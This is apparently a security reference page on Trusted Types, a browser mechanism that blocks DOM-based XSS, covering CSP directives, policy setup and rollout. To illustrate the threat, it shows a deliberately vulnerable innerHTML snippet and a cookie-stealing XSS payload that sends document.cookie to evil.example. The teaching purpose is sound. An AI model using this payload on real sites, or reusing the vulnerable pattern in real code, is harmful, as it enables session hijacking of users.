Website Spec
Security Recommended Updated

Trusted Types

Trusted Types make the browser reject plain strings at DOM injection sinks like innerHTML, demanding a vetted typed value instead. Switched on with two CSP directives, it neutralises a whole class of DOM-based XSS.

What it is

Trusted Types is a browser mechanism that blocks DOM-based cross-site scripting at the point of injection. DOM XSS happens when an attacker-controlled string reaches a dangerous “sink” — innerHTML, outerHTML, document.write(), eval(), or a script element’s src. Trusted Types makes the browser refuse a plain string at those sinks and demand a non-spoofable typed value (TrustedHTML, TrustedScript, or TrustedScriptURL) produced by a policy you define and control. You enable it with two Content Security Policy directives:

Content-Security-Policy: require-trusted-types-for 'script'; trusted-types escape

It reached Baseline in February 2026 — Chrome and Edge have shipped it since 2020, Safari since version 26, and Firefox completed the set.

Why it matters

A nonce-based CSP stops an attacker injecting or running a new external script, but DOM XSS needs no new script element: it abuses code already on the page that writes untrusted input into a sink. Take a search widget that echoes the query from the URL:

// Vulnerable: q comes straight from the address bar
const q = new URLSearchParams(location.search).get("q");
results.innerHTML = `<h2>Results for ${q}</h2>`;

A visitor sent to ?q=<img src=x onerror="fetch('https://evil.example/?c='+document.cookie)"> runs the attacker’s script in your origin — the onerror handler fires the moment the broken image loads, and the session cookie leaves the building. No external script, no CSP script-src violation; a nonce never gets a look-in.

Trusted Types closes that gap. With require-trusted-types-for 'script' enforced, that innerHTML assignment throws a TypeError before the string ever reaches the parser, because q is a plain string and not a TrustedHTML value. To make the page work again you must route the value through a policy that sanitises it:

const policy = trustedTypes.createPolicy("escape", {
  createHTML: (s) => DOMPurify.sanitize(s),
});
results.innerHTML = policy.createHTML(`<h2>Results for ${q}</h2>`);

The <img onerror> is now stripped before it lands. The win is structural: the question stops being “did every developer remember to sanitise every sink?” and becomes “does any sink receive an unsanitised string?” — and the browser answers that for you, everywhere, by throwing.

This covers more than innerHTML. The three trusted types guard the three families of script-execution sink:

  • TrustedHTML — markup parsers: innerHTML, outerHTML, document.write(), insertAdjacentHTML(), <iframe srcdoc>.
  • TrustedScript — direct code execution: eval(), new Function(), inline event-handler properties, a <script> element’s text.
  • TrustedScriptURL — loading code by URL: <script src>, Worker(), import().

Each turns “exploitable” into “throws before it executes”.

How to implement

  1. Deploy in report-only first so you can find every sink your code touches without breaking the page:

    Content-Security-Policy-Report-Only: require-trusted-types-for 'script'; trusted-types escape; report-to csp-endpoint
  2. Create a policy that sanitises rather than passing input through untouched. A vetted sanitiser such as DOMPurify is the usual choice:

    trustedTypes.createPolicy("escape", {
      createHTML: (input) => DOMPurify.sanitize(input),
    });
  3. Name the policies you allow in the trusted-types directive — here, escape. One name is special: a policy called default is applied automatically wherever a sink expects a trusted value, which lets you retrofit a large codebase without editing every call site.

  4. Switch to enforcing (Content-Security-Policy) once the report stream is clean.

Common mistakes

  • A pass-through default policy that returns its input unchanged — it satisfies the type check while re-opening the exact hole you closed.
  • Omitting trusted-types. Without the allowlist, code can create a policy of any name, including a malicious one; name your policies explicitly.
  • Treating it as a CSP replacement. It is a layer on top of a strict CSP and Subresource Integrity, not a substitute.
  • Going straight to enforcing. Untested, it breaks legitimate DOM code; always start report-only.

Verification

  • curl -sI https://example.com | grep -i content-security-policy should show require-trusted-types-for 'script'.
  • In DevTools, run document.body.innerHTML = '<img src=x>'; under enforcement it throws a TypeError.
  • Wire violations to a reporting endpoint and watch for trusted-types-sink-violation reports before and after you tighten.

Related topics

Sources & further reading

Search
esc close navigate open